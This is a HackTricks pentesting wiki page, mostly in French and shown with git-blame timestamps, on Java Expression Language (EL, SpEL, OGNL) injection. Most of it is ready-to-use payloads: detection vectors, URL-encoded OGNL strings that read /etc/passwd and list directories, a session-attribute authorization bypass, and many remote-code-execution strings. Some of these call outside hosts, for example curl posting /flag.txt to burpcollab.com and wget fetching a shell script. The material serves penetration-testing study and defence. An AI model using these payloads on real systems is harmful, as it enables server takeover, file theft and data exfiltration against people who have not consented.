hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md

246 lines
14 KiB
Markdown
Raw Normal View History

# EL - Expression Language
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Bsic Info
Le langage d'expression (EL) est essentiel dans JavaEE pour relier la couche de présentation (par exemple, les pages web) et la logique applicative (par exemple, les beans gérés), permettant leur interaction. Il est principalement utilisé dans :
2021-06-26 13:01:09 +00:00
* **JavaServer Faces (JSF)** : Pour lier les composants UI aux données/actions backend.
* **JavaServer Pages (JSP)** : Pour l'accès et la manipulation des données au sein des pages JSP.
* **Contexts and Dependency Injection for Java EE (CDI)** : Pour faciliter l'interaction de la couche web avec les beans gérés.
2021-06-26 13:01:09 +00:00
**Contextes d'utilisation** :
2021-06-26 13:01:09 +00:00
* **Spring Framework** : Appliqué dans divers modules comme la sécurité et les données.
* **Utilisation générale** : Via l'API SpEL par les développeurs dans des langages basés sur la JVM comme Java, Kotlin et Scala.
2021-06-07 09:30:58 +00:00
L'EL est présent dans les technologies JavaEE, les environnements autonomes, et reconnaissable par les extensions de fichiers `.jsp` ou `.jsf`, les erreurs de pile, et des termes comme "Servlet" dans les en-têtes. Cependant, ses fonctionnalités et l'utilisation de certains caractères peuvent dépendre de la version.
2021-06-07 09:30:58 +00:00
{% hint style="info" %}
Selon la **version de l'EL**, certaines **fonctionnalités** peuvent être **activées** ou **désactivées** et généralement certains **caractères** peuvent être **interdits**.
2021-06-07 09:30:58 +00:00
{% endhint %}
## Basic Example
2021-06-07 09:30:58 +00:00
(Vous pouvez trouver un autre tutoriel intéressant sur l'EL à [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
2021-06-07 09:30:58 +00:00
Téléchargez depuis le dépôt [**Maven**](https://mvnrepository.com) les fichiers jar :
2021-06-07 09:30:58 +00:00
* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`
2021-06-07 09:30:58 +00:00
Et créez le fichier `Main.java` suivant :
2021-06-07 09:30:58 +00:00
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class Main {
public static ExpressionParser PARSER;
public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();
System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
2021-06-07 09:30:58 +00:00
}
```
Ensuite, compilez le code (si vous n'avez pas `javac` installé, installez `sudo apt install default-jdk`) :
2021-06-07 09:30:58 +00:00
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Exécutez l'application avec :
2021-06-07 09:30:58 +00:00
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
2023-06-03 13:10:46 +00:00
Notez comment dans l'exemple précédent le terme `{5*5}` a été **évalué**.
2021-06-07 09:30:58 +00:00
## **Tutoriel basé sur CVE**
2021-06-26 13:01:09 +00:00
Vérifiez-le dans **ce post :** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
2021-06-26 13:01:09 +00:00
2023-06-03 13:10:46 +00:00
## Charges utiles
2021-06-07 09:30:58 +00:00
2023-06-03 13:10:46 +00:00
### Actions de base
2021-06-07 09:30:58 +00:00
```bash
#Basic string operations examples
{"a".toString()}
[a]
{"dfd".replace("d","x")}
[xfx]
#Access to the String class
{"".getClass()}
[class java.lang.String]
2021-10-21 10:28:49 +00:00
#Access ro the String class bypassing "getClass"
#{""["class"]}
2021-06-07 09:30:58 +00:00
#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]
#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
2023-06-03 13:10:46 +00:00
### Détection
2021-06-07 09:30:58 +00:00
* Détection Burp
2021-06-07 09:30:58 +00:00
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
2021-06-07 09:30:58 +00:00
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
* Détection J2EE
2021-06-07 09:30:58 +00:00
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
2021-06-07 09:30:58 +00:00
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
* Dormir 10 secondes
2021-06-07 09:30:58 +00:00
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Inclusion de Fichiers à Distance
2021-06-07 09:30:58 +00:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Liste des répertoires
2021-06-07 09:30:58 +00:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
2022-05-18 13:29:23 +00:00
### RCE
2021-06-07 09:30:58 +00:00
* Explication de base de l'**RCE**
2021-06-07 09:30:58 +00:00
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]
2021-10-21 10:28:49 +00:00
#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
2022-05-18 13:29:23 +00:00
# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
2021-06-07 09:30:58 +00:00
```
* RCE **linux**
2021-06-07 09:30:58 +00:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
2023-06-03 13:10:46 +00:00
* RCE **Windows** (non testé)
2021-06-07 09:30:58 +00:00
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
2023-06-03 13:10:46 +00:00
* **Plus de RCE**
2021-06-25 12:34:30 +00:00
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
2021-06-26 14:55:22 +00:00
// Method using Runtime via getDeclaredConstructors
2021-06-25 12:34:30 +00:00
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}
// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
// Method using ScriptEngineManager
2021-06-26 13:01:09 +00:00
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
2021-06-25 12:34:30 +00:00
```
### Inspecter l'environnement
2021-06-25 12:34:30 +00:00
* `applicationScope` - variables d'application globales
2023-06-03 13:10:46 +00:00
* `requestScope` - variables de requête
* `initParam` - variables d'initialisation de l'application
* `sessionScope` - variables de session
* `param.X` - valeur du paramètre où X est le nom d'un paramètre http
2021-06-07 09:30:58 +00:00
Vous devrez convertir ces variables en chaîne comme :
2021-06-07 09:30:58 +00:00
```bash
${sessionScope.toString()}
```
#### Exemple de contournement d'autorisation
2021-06-07 09:30:58 +00:00
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
L'application peut également utiliser des variables personnalisées comme :
2021-06-07 09:30:58 +00:00
```bash
${user}
${password}
${employee.FirstName}
```
## Bypass WAF
2021-06-07 09:30:58 +00:00
Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
2022-12-22 10:23:27 +00:00
2023-06-03 13:10:46 +00:00
## Références
2021-06-07 09:30:58 +00:00
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
2021-06-26 14:55:22 +00:00
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
2021-06-26 13:01:09 +00:00
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}